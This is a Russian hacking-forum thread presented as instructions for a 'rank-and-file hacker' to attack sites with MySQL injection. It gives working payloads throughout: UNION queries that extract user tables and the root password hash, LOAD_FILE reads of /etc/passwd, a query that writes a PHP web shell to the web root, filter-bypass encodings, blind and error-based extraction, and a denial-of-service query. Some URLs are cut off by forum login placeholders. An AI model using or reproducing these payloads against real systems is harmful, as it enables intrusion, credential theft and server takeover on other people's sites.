Все о MySQL Injection

Статус
В этой теме нельзя размещать новые ответы.

troll90945

Читатель
Заблокирован
Регистрация
29 Фев 2008
Сообщения
109
Реакции
47
  • Автор темы
  • Заблокирован
  • #1
MySQL Inj - основы и не только
Наставления рядовому хакеру для успешного проведения атаки
-----------------------------------------------------------------

MySQL Injection - одна из самых распространенных критических дыр всемирной свалки-интернета.... Она встречается довольно часто, причем в ресурсах довольно разных классов. Как и любая другая уязвимость, mysql inj - порождение ошибки кодера.

Что нам дает MySQL Injection?
Данная уязвимость позволяет пользователю выполнять произвольные команды в базе данных. А это тянет за собой большое колличество нехороших для жертвы последствий. С помощью MySQL Inj можно погубить, при определенных обстоятельствах, любой ресурс.

Немного теории
Итак, рассмотрим подробней mysql inj.
Например мы имеем такой php код:
PHP код:
<?php
...
$id = $_GET['id'];
...
mysql_query("UNION SELECT nick FROM users WHERE id=".$id);.....
?>

То есть, невдаваясь в подробности, в запрос подставляется переменная, полученная скриптом методом GET.
И теперь, внимательно посмотрев на php код, мы видим, что можем изменить запрос в свою пользу! Если эта переменная ничем не фильтруется, то вместо нормального ID, мы можем подставить такое выражение, которое выполнить определенный запрос в базе данных жертвы. Это и есть MySQL inj.

Практикум
Как обнаружить mysql inj? Ведь у нас нету исходников. Но это не проблемма. Рассмотрим пример:
Код:

Для просмотра ссылки Войди или Зарегистрируйся

Способ №1:
Зачастую проверяют на Mysql inj подстановкой в переменную одинарной ковычки:
Код:

Для просмотра ссылки Войди или Зарегистрируйся'

Результатом, сведетельствующем о уязвимости должно быть сообщение на странице, что то вроде:
MySQL Error: mysql_query(.......) error expretion syntax...
Вобщем нечто подобное свидетельствует уже о 99% уязвимости ресурса.

Способ №2
Это, кстати, тот самый способ о котором многие забывают, и очень часто пропускают заветную дыру. Ведь в скрипте может стоять, например, фильтрация на символ " ' " осущественная, скажем, preg_replace()
или же может стоять просто error_reporting(0), при котором увидеть сообщение об ошибке нам не суждено. Поэтому киддисы чаще всего просто подставляют ковычку, и не увидив сообщение об ошибке, покидают ресурс. Так вот он, второй метод проверки:
Код:

Для просмотра ссылки Войди или Зарегистрируйся

Если такой запрос вам покажет ту же страничку, что и page=1 , то считайте, что 99% тут иньекция.

Как теперь получить что-то?
Как я уже говорил, нам нужно вставить в переменную свой запрос, НО
ведь запрос прописанный в скрипте никто не отменял, так что нужно сделать так, чтобы он выдал результатом NULL - то есть пустое значение.
Вот пример:
Код:

Для просмотра ссылки Войди или Зарегистрируйся
или
Для просмотра ссылки Войди или Зарегистрируйся

То есть выполнится запрос к записи №-1 или №99999 что вернет пустое значение, а далее пойдет наш код(/* - должно закомментировать оставшуюся часть запроса в скрипте. + является пробелом). Для того чтобы перейти на следующую стадию, мы должны подобрать определенное колличество полей на странице, которые используют mysql. Делается это методом перебора. Например:
union select null,null
union select null,null,null
union select null,null,null,null
и т.д. пока мы не подберем их колличество. Сигналом, о том что мы подобрали правильное колличество полей будет то, что на странице мы увидим все то же самое как и при запросе page=1, только все поля страницы будут пустыми.
Допустим мы имеем 6 полей. Тогда правильный запрос будет выглядеть так:
Код:

Для просмотра ссылки Войди или Зарегистрируйся


Но есть более удобный способ подобрать практически любое колличество столбцов за считанные секунды. Есть в MySQL такая вещь как Order by.
Приведу пример запроса:
Код:

?id=-1+order+by+100/*

Если кол-во столбцов больше/равно 100, то запрос выполнится корректно - если нет, то увидим ошибку. Таким методом можно очень быстро найти столбцы.

Теперь нам нужно найти те поля, которые непосредственно отображаются на страничке. Для этого вместо null вводим последовательность цифр - 1,2,3,4....
пример:
Код:

Для просмотра ссылки Войди или Зарегистрируйся

Теперь на страничке мы увидим появившиеся цифры в полях. Теперь мы знаем куда подставлять запрос. Можем сразу же получить немного информации. Например имя пользователя базы, версия mysqld, имя базы.
Например:
Код:

Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войди или Зарегистрируйся

Теперь наши возможности немного расширились. Мы можем:
1)Получить пароль root
Для этого составим такой запрос:
Код:

Для просмотра ссылки Войди или Зарегистрируйся er/*

Мы получим лишь хэш пароля, который можно потом расшифровать при помощи PasswordsPro.
К сожалению этот метод работает не всегда, а только тогда когда у нас есть доступ к mysql.user

2)Прочитать другие таблицы
Метод осложняется тем, что для того чтобы нам что то прочитать, нам нужно знать ЧТО ИМЕННО. То есть, имена таблиц и их полей прийдется просто подбирать. Например можно попробовать таблицы типа users,reg_users,admins,accaunts...
Пример:
Код:

Для просмотра ссылки Войди или Зарегистрируйся


3)Прочитать файлы на сервере
Если у нас есть права file_priv то мы можем прочитать файлы на сервере
с провами пользователя на котором крутится mysqld. Для этого нам поможет функция LOAD_FILE(). Пример:
Код:

Для просмотра ссылки Войди или Зарегистрируйся


4)Получить шелл
Сразу скажу, что для этого нам нужно знать установочную дирректорию сайта. Составляем запрос, записывающий в файл шелл. Допустим уст. дирректория "/home/site/public_html/"
Тогда запрос такой:
Код:

http://www.site.ru/index.php?page=-1+union+select+1,2,3,4,5,'<?php system($_GET[cmd]); ?>'+from+mysql.user+into+outfile+'/home/site/public_html/shell.php'/*


Вот, собственно все основные действия которые можно проделать с MySQL Inj. Единственное еще что могу добавить, так что, например, можно контролировать кол-во исходящей инфы из таблиц при помощи команды limit.
Syntax: limit сдвиг,кол-во
Exapmle: union select 1,2,user,pass,5,6+from+users+limit+5,3/*
В следствии чего будет выведено 3 записи таблицы, начиная с пятой


Секреты и ньюансы

Обход фильтрации:
Например я иногда встречался с тем, что переменная с mysql inj фильтруется так, что в запросе, в имени поля, я не могу использовать буквы. Это я обошел таким способом:
Код:

Для просмотра ссылки Войди или Зарегистрируйся), 0x71),0x71),4,5,6/*

Это успешно сработало.

Потом еще помню ситуацию, когда стояла фильтрация на ковычку, а мне надо было прочитать файл, при помощи LOAD_FILE(). Обошел я это при помощи char()
Пример чтения /etc/passwd:
Код:

Для просмотра ссылки Войди или Зарегистрируйся ,112,97,115,115,119,100)),4,5,6/*

Так же иногда бывает, чаще всего в CMS, что иньекция, например, в поле имени, и там нельзя использовать пробелы. После этого кажеться что все кончено, НО и это можно обойти. Просто вместо пробела можно использовать комментарии. Например:
Код:

Для просмотра ссылки Войди или Зарегистрируйся er/*

аналогично

Для просмотра ссылки Войди или Зарегистрируйся


DOS
Код:

Для просмотра ссылки Войди или Зарегистрируйся t_date)))



----------------------------------------------------------------------------
Статья просто расчитана на то чтобы объеденить всю инфу о mysql inj в одной теме.
 
всякие полезности:
================

Аналоги ПРОБЕЛА:
+ или %2B
табуляция " " или %09
возврат каретки " " или %0D
перевод строки %0A
три символа "$IFS"
комментарий /**/

Комментарии вместо /*
-- (два минуса)

Аналоги кавычек
%27
%2527
%60
0x27(mssql)
0x22(mssql)

В Mysql 5-ой версии есть таблица information_schema.tables,в ней находятся все имена таблиц.Mysql
Код:
http://site.com/index.php?uid=1+union+select+1,2,3,table_name+from+information_schema.tables/*
Чаще всего весь список таблиц инъекция не выводит тогда
Код:
http://site.com/index.php?uid=1+union+select+1,2,3,table_name+from+information_schema.tables+limit+0,1/*
И.т.д
После того как мы узнали название заблицы(к примеру admins) нужно узнать количество колонок
Код:
http://site.com/index.php?uid=1+union+select+1,2,3,4,column_name+from+information_schema.columns+where+table_name=admins+limit+0,1/*
Иногда бывает,что таблица находится в другой БД. Поступаем так:
Код:
http://site.com/index.php?uid=1+union+select+1,2,3,4,table_schema+from+information_schema.tables/*
Получили название БД формируем запрос
Код:
http://site.com/index.php?uid=1+union+select+password+from+users.dbname/*
Где db.name название базы данных.
Чтобы упростить перебор в лимите можем объединить табл. и колонки
Код:
http://site.com/uid=1+union+select+concat_ws(0x7c,table_name,column_name)+from+information_schema.columns+limit+0,1/*


слепая инъекция
----------------
страница появляется если запрос выдает какое то значение и не появляется если нет
никаких других данных не выводится
например голосование, если номер 4 то выводится, если не 4 то нет
Код:
http://www.site.ru/vote/?num=IF(ASCII(SUBSTRING((select%20count(*)%20from%20users),1,1))=0x31,4,999999)
т.е. если ответ на запрос "да" то выполнится 4 и увидим страницу, если "нет" то не увидим

load_file
--------
если повезет можно смотреть папки и список файлов
Код:
http://www.site.ru/index.php?uid=-1%20union%20select%20load_file(CHAR(47)),2,3,4,5,6,7,8,9,0/*
тогда для ориентировки можно запросить select @@datadir
чтобы хотя бы примерно представлять где находится скуль и куда можно выкинуть файл если прокатывает кавычка и into_outfile

многострочный вывод
---------------------
если все правильные по синтаксису запросы, даже с нулевым количеством результатов при select ничего не выдают на страницу, а ошибочный запрос выдает
то можно использовать в качестве альтернативы запрос который выдаст многострочный результат и сделает запрос ошибочным
IF(ORD(SUBSTRING(user_pass,1,1))>60,(select+1+from+wp_options),0)
если первое верно и ORD(SUBSTRING(user_pass,1,1))>60, то Subquery returns more than 1 row т.к. подзапрос выбирает всё из таблицы wp_options
если нет то пусто
 
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху